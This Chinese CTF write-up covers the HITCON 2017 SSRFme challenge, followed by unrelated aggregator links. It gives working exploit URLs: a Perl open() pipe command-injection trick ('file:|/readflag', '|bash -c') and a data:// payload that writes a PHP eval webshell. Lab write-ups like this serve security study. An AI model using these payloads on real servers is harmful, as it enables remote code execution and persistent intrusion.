当前位置: 首页 > news >正文

BUUCTF-[HITCON 2017]SSRFme

代码分析

<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //HTTP_X_FORWARDED_FOR可以获取客户端真正ip地址,和各个代理IP地址 $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //拆分字符串,以,分割 $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; //获取真实IP地址 } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); //设置路径 @mkdir($sandbox); //创建目录 @chdir($sandbox); //更改当前工作目录为sandbox $data = shell_exec("GET " . escapeshellarg($_GET["url"])); //escapeshellarg过滤url,转义为在shell命令中安全使用的参数。这里就是执行get命令,参数为过滤后的。 $info = pathinfo($_GET["filename"]); //将路径字典话,即分割为目录名,扩展名等。 $dir = str_replace(".", "", basename($info["dirname"])); //basename用于提取文件名,然后将.替换为空,防止了路径穿越。 @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); //将data中的数据放入basename文件名中。 highlight_file(__FILE__);

大概功能是将请求的url内容放入/sandbox/md5值/filename中。

漏洞点1

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

这里的GET是Lib for WWW in Perl中的命令 ,目的是模拟http的GET请求,GET函数底层就是调用了open处理。

类似ls将根目录列出来,也可以读取文件 GET ./flag.txt。

所以可以将url设置为某个路径或文件,然后放入filename中。

获取根目录内容

构造url

构造url=/

构造filename=test

计算出路径

访问

在根目录中发现flag和readflag。

查看flag

创建

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=/flag&filename=test

访问

没有内容

查看readflag

创建

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=/readflag&filename=test

访问

访问是下载了一个文件,打开发现是ELF可执行文件,猜测是使用命令去执行readflag。

方法一:

perl语言漏洞

因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

因为GET使用file协议时候会调用perl中的open函数。所以需要使用file协议执行readflag。

getflag

创建文件

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=&filename=|/readflag

执行命令

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=file:|/readflag&filename=test

访问

或者这样构造也可以

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=&filename=|bash -c /readflag http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=file:|bash -c /readflag&filename=test

方法二

写木马

利用data伪协议去写入木马

http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url=data://text/plain,<?php @eval($_POST[cmd]); ?>&filename=test.php

切换到终端执行readflag。

http://www.jsqmd.com/news/566245/

相关文章:

  • 这个优质的中银通支付卡回收推荐平台(附回收折扣) - 畅回收小程序
  • 2026年toc降解器厂家推荐:广州百诺环保技术有限公司,多场景紫外线toc降解器专业供应 - 品牌推荐官
  • 从CMIP6到SCI论文:气候降尺度全流程实战(含偏差校正与未来预估)-GCM数据降尺度、泰勒图评估及XGBoost机器学习建模指南
  • 电动牙刷无线充电原理与电路设计:基于瑞萨R7F0C807的实战指南
  • TMC步进电机驱动stealthChop与stallGuard的无传感器负载检测实战
  • 2026年高性能合金材料公司推荐:江苏嘉竞合金科技1J22/1J50/4J32等精密合金全解析 - 品牌推荐官
  • 3个关键步骤:在电视盒子上完美运行Armbian系统的终极指南
  • 2026.3.27 作业 - # AT_abc420_e [ABC420E] Reachability Query
  • PostgreSQL 技术日报 (3月31日)|五大内核模块补丁评审与问题修复汇总
  • 告别osgQt!用osgQOpenGLWidget在Qt6中轻松加载OsgEarth三维地球(附完整代码)
  • 优质加拿大留学移民服务精选推荐:合规靠谱,少走弯路 - 资讯焦点
  • Phi-4-mini-reasoning效果展示:长文本摘要任务中核心结论提取精度
  • 赋予机器以“理解”之魂:AI智能体视觉检测认知层面的语义对齐与推理
  • 从零开始构建你的HTML个人主页:完整代码与实战指南
  • 边缘计算赋能农业,2026难优质边缘计算盒子厂家推荐 - 品牌2026
  • Zotero中文文献管理终极指南:茉莉花插件一键解决三大痛点
  • 最后 1 天!HOW 2026 早鸟票收官,赴济南解锁开源数据库未来
  • 2026年食品清洗设备厂家推荐:山东皓铭食品机械辣椒/葡萄/小龙虾气泡清洗机等全系供应 - 品牌推荐官
  • 2026年 湖景民宿品牌推荐:绝美湖畔度假体验与贴心服务口碑之选 - 品牌企业推荐师(官方)
  • Omdia:Windows 11换机需求与成本压力叠加,2025年第四季度美国PC市场同比增长3%
  • 文墨共鸣大模型入门指南:Ubuntu 20.04系统下的保姆级部署教程
  • 2026年张家港吊车租赁公司推荐:苏州云鼎起重吊装,100-900吨汽车吊/吊车出租一站式服务 - 品牌推荐官
  • Phi-3-mini-4k-instruct-gguf模型微调入门:使用自有数据提升专业领域表现
  • 2026年多级泵生产厂家实力推荐:河北邦源泵业,多级离心泵/污水泵/自吸泵等全系供应 - 品牌推荐官
  • 2026年叛逆孩子教育机构推荐:陕西大正教育,专注叛逆学生改变与矫正服务 - 品牌推荐官
  • 如何让foobar2000焕发新生?foobox-cn开源美化方案全解析
  • MATLAB中基于两步法的时频脊线提取与瞬时频率估计新算法
  • 从原理到实践:种子储存柜推荐厂家品牌北京中农科信深度测评 - 品牌推荐大师
  • CHORD-X构建自动化运维报告系统:服务器日志分析与日报生成
  • 告别传统监控滞后:2026年精选边缘计算盒子品牌推荐 - 品牌2026